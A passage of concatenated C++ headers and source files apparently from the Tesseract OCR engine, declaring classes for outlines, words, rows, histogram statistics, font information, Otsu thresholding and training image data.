inT32 pathlength() const { //get path length
return stepcount;
}
// Return step at a given index as a DIR128.
DIR128 step_dir(int index) const {
return DIR128((inT16)(((steps[index/4] >> (index%4 * 2)) & STEP_MASK) <<
(DIRBITS - 2)));
}
// Return the step vector for the given outline position.
ICOORD step(int index) const { // index of step
return step_coords[chain_code(index)];
}
// get start position
const ICOORD &start_pos() const {
return start;
}
// Returns the position at the given index on the outline.
// NOT to be used lightly, as it has to iterate the outline to find out.
ICOORD position_at_index(int index) const {
ICOORD pos = start;
for (int i = 0; i < index; ++i)
pos += step(i);
return pos;
}
// Returns the sub-pixel accurate position given the integer position pos
// at the given index on the outline. pos may be a return value of
// position_at_index, or computed by repeatedly adding step to the
// start_pos() in the usual way.
FCOORD sub_pixel_pos_at_index(const ICOORD& pos, int index) const {
const ICOORD& step_to_next(step(index));
FCOORD f_pos(pos.x() + step_to_next.x() / 2.0f,
pos.y() + step_to_next.y() / 2.0f);
if (offsets != NULL && offsets[index].pixel_diff > 0) {
float offset = offsets[index].offset_numerator;
offset /= offsets[index].pixel_diff;
if (step_to_next.x() != 0)
f_pos.set_y(f_pos.y() + offset);
else
f_pos.set_x(f_pos.x() + offset);
}
return f_pos;
}
// Returns the step direction for the given index or -1 if there is none.
int direction_at_index(int index) const {
if (offsets != NULL && offsets[index].pixel_diff > 0)
return offsets[index].direction;
return -1;
}
// Returns the edge strength for the given index.
// If there are no recorded edge strengths, returns 1 (assuming the image
// is binary). Returns 0 if the gradient direction conflicts with the
// step direction, indicating that this position could be skipped.
int edge_strength_at_index(int index) const {
if (offsets != NULL)
return offsets[index].pixel_diff;
return 1;
}
// Return the step as a chain code (0-3) related to the standard feature
// direction of binary_angle_plus_pi by:
// chain_code * 64 = feature direction.
int chain_code(int index) const { // index of step
return (steps[index / 4] >> (index % 4 * 2)) & STEP_MASK;
}
inT32 area() const; // Returns area of self and 1st level children.
inT32 perimeter() const; // Total perimeter of self and 1st level children.
inT32 outer_area() const; // Returns area of self only.
inT32 count_transitions( //count maxima
inT32 threshold); //size threshold
BOOL8 operator< ( //containment test
const C_OUTLINE & other) const;
BOOL8 operator> ( //containment test
C_OUTLINE & other) const
{
return other < *this; //use the < to do it
}
inT16 winding_number( //get winding number
ICOORD testpt) const; //around this point
//get direction
inT16 turn_direction() const;
void reverse(); //reverse direction
void move( // reposition outline
const ICOORD vec); // by vector
// Returns true if *this and its children are legally nested.
// The outer area of a child should have the opposite sign to the
// parent. If not, it means we have discarded an outline in between
// (probably due to excessive length).
bool IsLegallyNested() const;
// If this outline is smaller than the given min_size, delete this and
// remove from its list, via *it, after checking that *it points to this.
// Otherwise, if any children of this are too small, delete them.
// On entry, *it must be an iterator pointing to this. If this gets deleted
// then this is extracted from *it, so an iteration can continue.
void RemoveSmallRecursive(int min_size, C_OUTLINE_IT* it);
// Adds sub-pixel resolution EdgeOffsets for the outline if the supplied
// pix is 8-bit. Does nothing otherwise.
void ComputeEdgeOffsets(int threshold, Pix* pix);
// Adds sub-pixel resolution EdgeOffsets for the outline using only
// a binary image source.
void ComputeBinaryOffsets();
// Renders the outline to the given pix, with left and top being
// the coords of the upper-left corner of the pix.
void render(int left, int top, Pix* pix) const;
// Renders just the outline to the given pix (no fill), with left and top
// being the coords of the upper-left corner of the pix.
void render_outline(int left, int top, Pix* pix) const;
#ifndef GRAPHICS_DISABLED
void plot( //draw one
ScrollView* window, //window to draw in
ScrollView::Color colour) const; //colour to draw it
// Draws the outline in the given colour, normalized using the given denorm,
// making use of sub-pixel accurate information if available.
void plot_normed(const DENORM& denorm, ScrollView::Color colour,
ScrollView* window) const;
#endif // GRAPHICS_DISABLED
C_OUTLINE& operator=(const C_OUTLINE& source);
static C_OUTLINE* deep_copy(const C_OUTLINE* src) {
C_OUTLINE* outline = new C_OUTLINE;
*outline = *src;
return outline;
}
static ICOORD chain_step(int chaindir);
// The maximum length of any outline. The stepcount is stored as 16 bits,
// but it is probably not a good idea to increase this constant by much
// and switch to 32 bits, as it plays an important role in keeping huge
// outlines invisible, which prevents bad speed behavior.
static const int kMaxOutlineLength = 16000;
private:
// Helper for ComputeBinaryOffsets. Increments pos, dir_counts, pos_totals
// by the step, increment, and vertical step ? x : y position * increment
// at step s Mod stepcount respectively. Used to add or subtract the
// direction and position to/from accumulators of a small neighbourhood.
void increment_step(int s, int increment, ICOORD* pos, int* dir_counts,
int* pos_totals) const;
int step_mem() const { return (stepcount+3) / 4; }
TBOX box; // bounding box
ICOORD start; // start coord
inT16 stepcount; // no of steps
BITS16 flags; // flags about outline
uinT8 *steps; // step array
EdgeOffset* offsets; // Higher precision edge.
C_OUTLINE_LIST children; // child elements
static ICOORD step_coords[4];
};
#endif
| C++ |
/**********************************************************************
* File: word.c
* Description: Code for the WERD class.
* Author: Ray Smith
* Created: Tue Oct 08 14:32:12 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef WERD_H
#define WERD_H
#include "params.h"
#include "bits16.h"
#include "elst2.h"
#include "strngs.h"
#include "blckerr.h"
#include "stepblob.h"
enum WERD_FLAGS
{
W_SEGMENTED, //< correctly segmented
W_ITALIC, //< italic text
W_BOLD, //< bold text
W_BOL, //< start of line
W_EOL, //< end of line
W_NORMALIZED, //< flags
W_SCRIPT_HAS_XHEIGHT, //< x-height concept makes sense.
W_SCRIPT_IS_LATIN, //< Special case latin for y. splitting.
W_DONT_CHOP, //< fixed pitch chopped
W_REP_CHAR, //< repeated character
W_FUZZY_SP, //< fuzzy space
W_FUZZY_NON, //< fuzzy nonspace
W_INVERSE //< white on black
};
enum DISPLAY_FLAGS
{
/* Display flags bit number allocations */
DF_BOX, //< Bounding box
DF_TEXT, //< Correct ascii
DF_POLYGONAL, //< Polyg approx
DF_EDGE_STEP, //< Edge steps
DF_BN_POLYGONAL, //< BL normalisd polyapx
DF_BLAMER //< Blamer information
};
class ROW; //forward decl
class WERD : public ELIST2_LINK {
public:
WERD() {}
// WERD constructed with:
// blob_list - blobs of the word (we take this list's contents)
// blanks - number of blanks before the word
// text - correct text (outlives WERD)
WERD(C_BLOB_LIST *blob_list, uinT8 blanks, const char *text);
// WERD constructed from:
// blob_list - blobs in the word
// clone - werd to clone flags, etc from.
WERD(C_BLOB_LIST *blob_list, WERD *clone);
// Construct a WERD from a single_blob and clone the flags from this.
// W_BOL and W_EOL flags are set according to the given values.
WERD* ConstructFromSingleBlob(bool bol, bool eol, C_BLOB* blob);
~WERD() {
}
// assignment
WERD & operator= (const WERD &source);
// This method returns a new werd constructed using the blobs in the input
// all_blobs list, which correspond to the blobs in this werd object. The
// blobs used to construct the new word are consumed and removed from the
// input all_blobs list.
// Returns NULL if the word couldn't be constructed.
// Returns original blobs for which no matches were found in the output list
// orphan_blobs (appends).
WERD *ConstructWerdWithNewBlobs(C_BLOB_LIST *all_blobs,
C_BLOB_LIST *orphan_blobs);
// Accessors for reject / DUFF blobs in various formats
C_BLOB_LIST *rej_cblob_list() { // compact format
return &rej_cblobs;
}
// Accessors for good blobs in various formats.
C_BLOB_LIST *cblob_list() { // get compact blobs
return &cblobs;
}
uinT8 space() { // access function
return blanks;
}
void set_blanks(uinT8 new_blanks) {
blanks = new_blanks;
}
int script_id() const {
return script_id_;
}
void set_script_id(int id) {
script_id_ = id;
}
TBOX bounding_box(); // compute bounding box
const char *text() const { return correct.string(); }
void set_text(const char *new_text) { correct = new_text; }
BOOL8 flag(WERD_FLAGS mask) const { return flags.bit(mask); }
void set_flag(WERD_FLAGS mask, BOOL8 value) { flags.set_bit(mask, value); }
BOOL8 display_flag(uinT8 flag) const { return disp_flags.bit(flag); }
void set_display_flag(uinT8 flag, BOOL8 value) {
disp_flags.set_bit(flag, value);
}
WERD *shallow_copy(); // shallow copy word
// reposition word by vector
void move(const ICOORD vec);
// join other's blobs onto this werd, emptying out other.
void join_on(WERD* other);
// copy other's blobs onto this word, leaving other intact.
void copy_on(WERD* other);
// tprintf word metadata (but not blob innards)
void print();
#ifndef GRAPHICS_DISABLED
// plot word on window in a uniform colour
void plot(ScrollView *window, ScrollView::Color colour);
// Get the next color in the (looping) rainbow.
static ScrollView::Color NextColor(ScrollView::Color colour);
// plot word on window in a rainbow of colours
void plot(ScrollView *window);
// plot rejected blobs in a rainbow of colours
void plot_rej_blobs(ScrollView *window);
#endif // GRAPHICS_DISABLED
private:
uinT8 blanks; // no of blanks
uinT8 dummy; // padding
BITS16 flags; // flags about word
BITS16 disp_flags; // display flags
inT16 script_id_; // From unicharset.
STRING correct; // correct text
C_BLOB_LIST cblobs; // compacted blobs
C_BLOB_LIST rej_cblobs; // DUFF blobs
};
ELIST2IZEH (WERD)
#include "ocrrow.h" // placed here due to
// compare words by increasing order of left edge, suitable for qsort(3)
int word_comparator(const void *word1p, const void *word2p);
#endif
| C++ |
///////////////////////////////////////////////////////////////////////
// File: otsuthr.h
// Description: Simple Otsu thresholding for binarizing images.
// Author: Ray Smith
// Created: Fri Mar 07 12:14:01 PST 2008
//
// (C) Copyright 2008, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#ifndef TESSERACT_CCMAIN_OTSUTHR_H__
#define TESSERACT_CCMAIN_OTSUTHR_H__
struct Pix;
namespace tesseract {
const int kHistogramSize = 256; // The size of a histogram of pixel values.
// Computes the Otsu threshold(s) for the given image rectangle, making one
// for each channel. Each channel is always one byte per pixel.
// Returns an array of threshold values and an array of hi_values, such
// that a pixel value >threshold[channel] is considered foreground if
// hi_values[channel] is 0 or background if 1. A hi_value of -1 indicates
// that there is no apparent foreground. At least one hi_value will not be -1.
// Delete thresholds and hi_values with delete [] after use.
// The return value is the number of channels in the input image, being
// the size of the output thresholds and hi_values arrays.
int OtsuThreshold(Pix* src_pix, int left, int top, int width, int height,
int** thresholds, int** hi_values);
// Computes the histogram for the given image rectangle, and the given
// single channel. Each channel is always one byte per pixel.
// Histogram is always a kHistogramSize(256) element array to count
// occurrences of each pixel value.
void HistogramRect(Pix* src_pix, int channel,
int left, int top, int width, int height,
int* histogram);
// Computes the Otsu threshold(s) for the given histogram.
// Also returns H = total count in histogram, and
// omega0 = count of histogram below threshold.
int OtsuStats(const int* histogram, int* H_out, int* omega0_out);
} // namespace tesseract.
#endif // TESSERACT_CCMAIN_OTSUTHR_H__
| C++ |
/**********************************************************************
* File: statistc.h (Formerly stats.h)
* Description: Class description for STATS class.
* Author: Ray Smith
* Created: Mon Feb 04 16:19:07 GMT 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef TESSERACT_CCSTRUCT_STATISTC_H_
#define TESSERACT_CCSTRUCT_STATISTC_H_
#include <stdio.h>
#include "host.h"
#include "kdpair.h"
#include "scrollview.h"
template <typename T> class GenericVector;
// Simple histogram-based statistics for integer values in a known
// range, such that the range is small compared to the number of samples.
class STATS {
public:
// The histogram buckets are in the range
// [min_bucket_value, max_bucket_value_plus_1 - 1] i.e.
// [min_bucket_value, max_bucket_value].
// Any data under min_bucket value is silently mapped to min_bucket_value,
// and likewise, any data over max_bucket_value is silently mapped to
// max_bucket_value.
// In the internal array, min_bucket_value maps to 0 and
// max_bucket_value_plus_1 - min_bucket_value to the array size.
// TODO(rays) This is ugly. Convert the second argument to
// max_bucket_value and all the code that uses it.
STATS(inT32 min_bucket_value, inT32 max_bucket_value_plus_1);
STATS(); // empty for arrays
~STATS();
// (Re)Sets the range and clears the counts.
// See the constructor for info on max and min values.
bool set_range(inT32 min_bucket_value, inT32 max_bucket_value_plus_1);
void clear(); // empty buckets
void add(inT32 value, inT32 count);
// "Accessors" return various statistics on the data.
inT32 mode() const; // get mode of samples
double mean() const; // get mean of samples
double sd() const; // standard deviation
// Returns the fractile value such that frac fraction (in [0,1]) of samples
// has a value less than the return value.
double ile(double frac) const;
// Returns the minimum used entry in the histogram (ie the minimum of the
// data, NOT the minimum of the supplied range, nor is it an index.)
// Would normally be called min(), but that is a reserved word in VC++.
inT32 min_bucket() const; // Find min
// Returns the maximum used entry in the histogram (ie the maximum of the
// data, NOT the maximum of the supplied range, nor is it an index.)
inT32 max_bucket() const; // Find max
// Finds a more useful estimate of median than ile(0.5).
// Overcomes a problem with ile() - if the samples are, for example,
// 6,6,13,14 ile(0.5) return 7.0 - when a more useful value would be midway
// between 6 and 13 = 9.5
double median() const; // get median of samples
// Returns the count of the given value.
inT32 pile_count(inT32 value ) const {
if (value <= rangemin_)
return buckets_[0];
if (value >= rangemax_ - 1)
return buckets_[rangemax_ - rangemin_ - 1];
return buckets_[value - rangemin_];
}
// Returns the total count of all buckets.
inT32 get_total() const {
return total_count_; // total of all piles
}
// Returns true if x is a local min.
bool local_min(inT32 x) const;
// Apply a triangular smoothing filter to the stats.
// This makes the modes a bit more useful.
// The factor gives the height of the triangle, i.e. the weight of the
// centre.
void smooth(inT32 factor);
// Cluster the samples into max_cluster clusters.
// Each call runs one iteration. The array of clusters must be
// max_clusters+1 in size as cluster 0 is used to indicate which samples
// have been used.
// The return value is the current number of clusters.
inT32 cluster(float lower, // thresholds
float upper,
float multiple, // distance threshold
inT32 max_clusters, // max no to make
STATS *clusters); // array of clusters
// Finds (at most) the top max_modes modes, well actually the whole peak around
// each mode, returning them in the given modes vector as a <mean of peak,
// total count of peak> pair in order of decreasing total count.
// Since the mean is the key and the count the data in the pair, a single call
// to sort on the output will re-sort by increasing mean of peak if that is
// more useful than decreasing total count.
// Returns the actual number of modes found.
int top_n_modes(
int max_modes,
GenericVector<tesseract::KDPairInc<float, int> >* modes) const;
// Prints a summary and table of the histogram.
void print() const;
// Prints summary stats only of the histogram.
void print_summary() const;
#ifndef GRAPHICS_DISABLED
// Draws the histogram as a series of rectangles.
void plot(ScrollView* window, // window to draw in
float xorigin, // origin of histo
float yorigin, // gram
float xscale, // size of one unit
float yscale, // size of one uint
ScrollView::Color colour) const; // colour to draw in
// Draws a line graph of the histogram.
void plotline(ScrollView* window, // window to draw in
float xorigin, // origin of histo
float yorigin, // gram
float xscale, // size of one unit
float yscale, // size of one uint
ScrollView::Color colour) const; // colour to draw in
#endif // GRAPHICS_DISABLED
private:
inT32 rangemin_; // min of range
// rangemax_ is not well named as it is really one past the max.
inT32 rangemax_; // max of range
inT32 total_count_; // no of samples
inT32* buckets_; // array of cells
};
// Returns the nth ordered item from the array, as if they were
// ordered, but without ordering them, in linear time.
// The array does get shuffled!
inT32 choose_nth_item(inT32 index, // index to choose
float *array, // array of items
inT32 count); // no of items
// Generic version uses a defined comparator (with qsort semantics).
inT32 choose_nth_item(inT32 index, // index to choose
void *array, // array of items
inT32 count, // no of items
size_t size, // element size
int (*compar)(const void*, const void*)); // comparator
// Swaps 2 entries in an array in-place.
void swap_entries(void *array, // array of entries
size_t size, // size of entry
inT32 index1, // entries to swap
inT32 index2);
#endif // TESSERACT_CCSTRUCT_STATISTC_H_
| C++ |
///////////////////////////////////////////////////////////////////////
// File: fontinfo.h
// Description: Font information classes abstracted from intproto.h/cpp.
// Author: rays@google.com (Ray Smith)
// Created: Tue May 17 17:08:01 PDT 2011
//
// (C) Copyright 2011, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#ifndef TESSERACT_CCSTRUCT_FONTINFO_H_
#define TESSERACT_CCSTRUCT_FONTINFO_H_
#include "genericvector.h"
#include "host.h"
#include "unichar.h"
template <typename T> class UnicityTable;
namespace tesseract {
class BitVector;
// Struct for information about spacing between characters in a particular font.
struct FontSpacingInfo {
inT16 x_gap_before;
inT16 x_gap_after;
GenericVector<UNICHAR_ID> kerned_unichar_ids;
GenericVector<inT16> kerned_x_gaps;
};
/*
* font_properties contains properties about boldness, italicness, fixed pitch,
* serif, fraktur
*/
struct FontInfo {
FontInfo() : name(NULL), properties(0), universal_id(0), spacing_vec(NULL) {}
~FontInfo() {}
// Writes to the given file. Returns false in case of error.
bool Serialize(FILE* fp) const;
// Reads from the given file. Returns false in case of error.
// If swap is true, assumes a big/little-endian swap is needed.
bool DeSerialize(bool swap, FILE* fp);
// Reserves unicharset_size spots in spacing_vec.
void init_spacing(int unicharset_size) {
spacing_vec = new GenericVector<FontSpacingInfo *>();
spacing_vec->init_to_size(unicharset_size, NULL);
}
// Adds the given pointer to FontSpacingInfo to spacing_vec member
// (FontInfo class takes ownership of the pointer).
// Note: init_spacing should be called before calling this function.
void add_spacing(UNICHAR_ID uch_id, FontSpacingInfo *spacing_info) {
ASSERT_HOST(spacing_vec != NULL && spacing_vec->size() > uch_id);
(*spacing_vec)[uch_id] = spacing_info;
}
// Returns the pointer to FontSpacingInfo for the given UNICHAR_ID.
const FontSpacingInfo *get_spacing(UNICHAR_ID uch_id) const {
return (spacing_vec == NULL || spacing_vec->size() <= uch_id) ?
NULL : (*spacing_vec)[uch_id];
}
// Fills spacing with the value of the x gap expected between the two given
// UNICHAR_IDs. Returns true on success.
bool get_spacing(UNICHAR_ID prev_uch_id,
UNICHAR_ID uch_id,
int *spacing) const {
const FontSpacingInfo *prev_fsi = this->get_spacing(prev_uch_id);
const FontSpacingInfo *fsi = this->get_spacing(uch_id);
if (prev_fsi == NULL || fsi == NULL) return false;
int i = 0;
for (; i < prev_fsi->kerned_unichar_ids.size(); ++i) {
if (prev_fsi->kerned_unichar_ids[i] == uch_id) break;
}
if (i < prev_fsi->kerned_unichar_ids.size()) {
*spacing = prev_fsi->kerned_x_gaps[i];
} else {
*spacing = prev_fsi->x_gap_after + fsi->x_gap_before;
}
return true;
}
bool is_italic() const { return properties & 1; }
bool is_bold() const { return (properties & 2) != 0; }
bool is_fixed_pitch() const { return (properties & 4) != 0; }
bool is_serif() const { return (properties & 8) != 0; }
bool is_fraktur() const { return (properties & 16) != 0; }
char* name;
uinT32 properties;
// The universal_id is a field reserved for the initialization process
// to assign a unique id number to all fonts loaded for the current
// combination of languages. This id will then be returned by
// ResultIterator::WordFontAttributes.
inT32 universal_id;
// Horizontal spacing between characters (indexed by UNICHAR_ID).
GenericVector<FontSpacingInfo *> *spacing_vec;
};
// Every class (character) owns a FontSet that represents all the fonts that can
// render this character.
// Since almost all the characters from the same script share the same set of
// fonts, the sets are shared over multiple classes (see
// Classify::fontset_table_). Thus, a class only store an id to a set.
// Because some fonts cannot render just one character of a set, there are a
// lot of FontSet that differ only by one font. Rather than storing directly
// the FontInfo in the FontSet structure, it's better to share FontInfos among
// FontSets (Classify::fontinfo_table_).
struct FontSet {
int size;
int* configs; // FontInfo ids
};
// Class that adds a bit of functionality on top of GenericVector to
// implement a table of FontInfo that replaces UniCityTable<FontInfo>.
// TODO(rays) change all references once all existing traineddata files
// are replaced.
class FontInfoTable : public GenericVector<FontInfo> {
public:
FontInfoTable();
~FontInfoTable();
// Writes to the given file. Returns false in case of error.
bool Serialize(FILE* fp) const;
// Reads from the given file. Returns false in case of error.
// If swap is true, assumes a big/little-endian swap is needed.
bool DeSerialize(bool swap, FILE* fp);
// Returns true if the given set of fonts includes one with the same
// properties as font_id.
bool SetContainsFontProperties(int font_id,
const GenericVector<int>& font_set) const;
// Returns true if the given set of fonts includes multiple properties.
bool SetContainsMultipleFontProperties(
const GenericVector<int>& font_set) const;
// Moves any non-empty FontSpacingInfo entries from other to this.
void MoveSpacingInfoFrom(FontInfoTable* other);
// Moves this to the target unicity table.
void MoveTo(UnicityTable<FontInfo>* target);
};
// Compare FontInfo structures.
bool CompareFontInfo(const FontInfo& fi1, const FontInfo& fi2);
// Compare FontSet structures.
bool CompareFontSet(const FontSet& fs1, const FontSet& fs2);
// Deletion callbacks for GenericVector.
void FontInfoDeleteCallback(FontInfo f);
void FontSetDeleteCallback(FontSet fs);
// Callbacks used by UnicityTable to read/write FontInfo/FontSet structures.
bool read_info(FILE* f, FontInfo* fi, bool swap);
bool write_info(FILE* f, const FontInfo& fi);
bool read_spacing_info(FILE *f, FontInfo* fi, bool swap);
bool write_spacing_info(FILE* f, const FontInfo& fi);
bool read_set(FILE* f, FontSet* fs, bool swap);
bool write_set(FILE* f, const FontSet& fs);
} // namespace tesseract.
#endif /* THIRD_PARTY_TESSERACT_CCSTRUCT_FONTINFO_H_ */
| C++ |
///////////////////////////////////////////////////////////////////////
// File: publictypes.cpp
// Description: Types used in both the API and internally
// Author: Ray Smith
// Created: Wed Mar 03 11:17:09 PST 2010
//
// (C) Copyright 2010, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#include "publictypes.h"
/** String name for each block type. Keep in sync with PolyBlockType. */
const char* kPolyBlockNames[] = {
"Unknown",
"Flowing Text",
"Heading Text",
"Pullout Text",
"Equation",
"Inline Equation",
"Table",
"Vertical Text",
"Caption Text",
"Flowing Image",
"Heading Image",
"Pullout Image",
"Horizontal Line",
"Vertical Line",
"Noise",
"" // End marker for testing that sizes match.
};
| C++ |
/**********************************************************************
* File: ocrrow.h (Formerly row.h)
* Description: Code for the ROW class.
* Author: Ray Smith
* Created: Tue Oct 08 15:58:04 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef OCRROW_H
#define OCRROW_H
#include <stdio.h>
#include "quspline.h"
#include "werd.h"
class TO_ROW;
struct PARA;
class ROW:public ELIST_LINK
{
friend void tweak_row_baseline(ROW *, double, double);
public:
ROW() {
} //empty constructor
ROW( //constructor
inT32 spline_size, //no of segments
inT32 *xstarts, //segment boundaries
double *coeffs, //coefficients //ascender size
float x_height,
float ascenders,
float descenders, //descender size
inT16 kern, //char gap
inT16 space); //word gap
ROW( //constructor
TO_ROW *row, //textord row
inT16 kern, //char gap
inT16 space); //word gap
WERD_LIST *word_list() { //get words
return &words;
}
float base_line( //compute baseline
float xpos) const { //at the position
//get spline value
return (float) baseline.y (xpos);
}
float x_height() const { //return x height
return xheight;
}
void set_x_height(float new_xheight) { // set x height
xheight = new_xheight;
}
inT32 kern() const { //return kerning
return kerning;
}
float body_size() const { //return body size
return bodysize;
}
void set_body_size(float new_size) { // set body size
bodysize = new_size;
}
inT32 space() const { //return spacing
return spacing;
}
float ascenders() const { //return size
return ascrise;
}
float descenders() const { //return size
return descdrop;
}
TBOX bounding_box() const { //return bounding box
return bound_box;
}
void set_lmargin(inT16 lmargin) {
lmargin_ = lmargin;
}
void set_rmargin(inT16 rmargin) {
rmargin_ = rmargin;
}
inT16 lmargin() const {
return lmargin_;
}
inT16 rmargin() const {
return rmargin_;
}
void set_has_drop_cap(bool has) {
has_drop_cap_ = has;
}
bool has_drop_cap() const {
return has_drop_cap_;
}
void set_para(PARA *p) {
para_ = p;
}
PARA *para() const {
return para_;
}
void recalc_bounding_box(); //recalculate BB
void move( // reposition row
const ICOORD vec); // by vector
void print( //print
FILE *fp); //file to print on
#ifndef GRAPHICS_DISABLED
void plot( //draw one
ScrollView* window, //window to draw in
ScrollView::Color colour); //uniform colour
void plot( //draw one
ScrollView* window); //in rainbow colours
void plot_baseline( //draw the baseline
ScrollView* window, //window to draw in
ScrollView::Color colour) { //colour to draw
//draw it
baseline.plot (window, colour);
}
#endif // GRAPHICS_DISABLED
ROW& operator= (const ROW & source);
private:
inT32 kerning; //inter char gap
inT32 spacing; //inter word gap
TBOX bound_box; //bounding box
float xheight; //height of line
float ascrise; //size of ascenders
float descdrop; //-size of descenders
float bodysize; //CJK character size. (equals to
//xheight+ascrise by default)
WERD_LIST words; //words
QSPLINE baseline; //baseline spline
// These get set after blocks have been determined.
bool has_drop_cap_;
inT16 lmargin_; // Distance to left polyblock margin.
inT16 rmargin_; // Distance to right polyblock margin.
// This gets set during paragraph analysis.
PARA *para_; // Paragraph of which this row is part.
};
ELISTIZEH (ROW)
#endif
| C++ |
///////////////////////////////////////////////////////////////////////
// File: imagedata.h
// Description: Class to hold information about a single image and its
// corresponding boxes or text file.
// Author: Ray Smith
// Created: Mon Jul 22 14:17:06 PDT 2013
//
// (C) Copyright 2013, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
///////////////////////////////////////////////////////////////////////
#ifndef TESSERACT_IMAGE_IMAGEDATA_H_
#define TESSERACT_IMAGE_IMAGEDATA_H_
#include "genericvector.h"
#include "normalis.h"
#include "rect.h"
#include "strngs.h"
struct Pix;
namespace tesseract {
// Amount of padding to apply in output pixels in feature mode.
const int kFeaturePadding = 2;
// Number of pixels to pad around text boxes.
const int kImagePadding = 4;
// Number of training images to combine into a mini-batch for training.
const int kNumPagesPerMiniBatch = 100;
class WordFeature {
public:
WordFeature();
WordFeature(const FCOORD& fcoord, uinT8 dir);
// Computes the maximum x and y value in the features.
static void ComputeSize(const GenericVector<WordFeature>& features,
int* max_x, int* max_y);
// Draws the features in the given window.
static void Draw(const GenericVector<WordFeature>& features,
ScrollView* window);
// Accessors.
int x() const { return x_; }
int y() const { return y_; }
int dir() const { return dir_; }
// Writes to the given file. Returns false in case of error.
bool Serialize(FILE* fp) const;
// Reads from the given file. Returns false in case of error.
// If swap is true, assumes a big/little-endian swap is needed.
bool DeSerialize(bool swap, FILE* fp);
private:
inT16 x_;
uinT8 y_;
uinT8 dir_;
};
// A floating-point version of WordFeature, used as an intermediate during
// scaling.
struct FloatWordFeature {
static void FromWordFeatures(const GenericVector<WordFeature>& word_features,
GenericVector<FloatWordFeature>* float_features);
// Sort function to sort first by x-bucket, then by y.
static int SortByXBucket(const void*, const void*);
float x;
float y;
float dir;
int x_bucket;
};
// Class to hold information on a single image:
// Filename, cached image as a Pix*, character boxes, text transcription.
// The text transcription is the ground truth UTF-8 text for the image.
// Character boxes are optional and indicate the desired segmentation of
// the text into recognition units.
class ImageData {
public:
ImageData();
// Takes ownership of the pix.
ImageData(bool vertical, Pix* pix);
~ImageData();
// Builds and returns an ImageData from the basic data. Note that imagedata,
// truth_text, and box_text are all the actual file data, NOT filenames.
static ImageData* Build(const char* name, int page_number, const char* lang,
const char* imagedata, int imagedatasize,
const char* truth_text, const char* box_text);
// Writes to the given file. Returns false in case of error.
bool Serialize(TFile* fp) const;
// Reads from the given file. Returns false in case of error.
// If swap is true, assumes a big/little-endian swap is needed.
bool DeSerialize(bool swap, TFile* fp);
// Other accessors.
const STRING& imagefilename() const {
return imagefilename_;
}
void set_imagefilename(const STRING& name) {
imagefilename_ = name;
}
int page_number() const {
return page_number_;
}
void set_page_number(int num) {
page_number_ = num;
}
const GenericVector<char>& image_data() const {
return image_data_;
}
const STRING& language() const {
return language_;
}
void set_language(const STRING& lang) {
language_ = lang;
}
const STRING& transcription() const {
return transcription_;
}
const GenericVector<TBOX>& boxes() const {
return boxes_;
}
const GenericVector<STRING>& box_texts() const {
return box_texts_;
}
const STRING& box_text(int index) const {
return box_texts_[index];
}
// Saves the given Pix as a PNG-encoded string and destroys it.
void SetPix(Pix* pix);
// Returns the Pix image for *this. Must be pixDestroyed after use.
Pix* GetPix() const;
// Gets anything and everything with a non-NULL pointer, prescaled to a
// given target_height (if 0, then the original image height), and aligned.
// Also returns (if not NULL) the width and height of the scaled image.
// The return value is the scale factor that was applied to the image to
// achieve the target_height.
float PreScale(int target_height, Pix** pix,
int* scaled_width, int* scaled_height,
GenericVector<TBOX>* boxes) const;
int MemoryUsed() const;
// Draws the data in a new window.
void Display() const;
// Adds the supplied boxes and transcriptions that correspond to the correct
// page number.
void AddBoxes(const GenericVector<TBOX>& boxes,
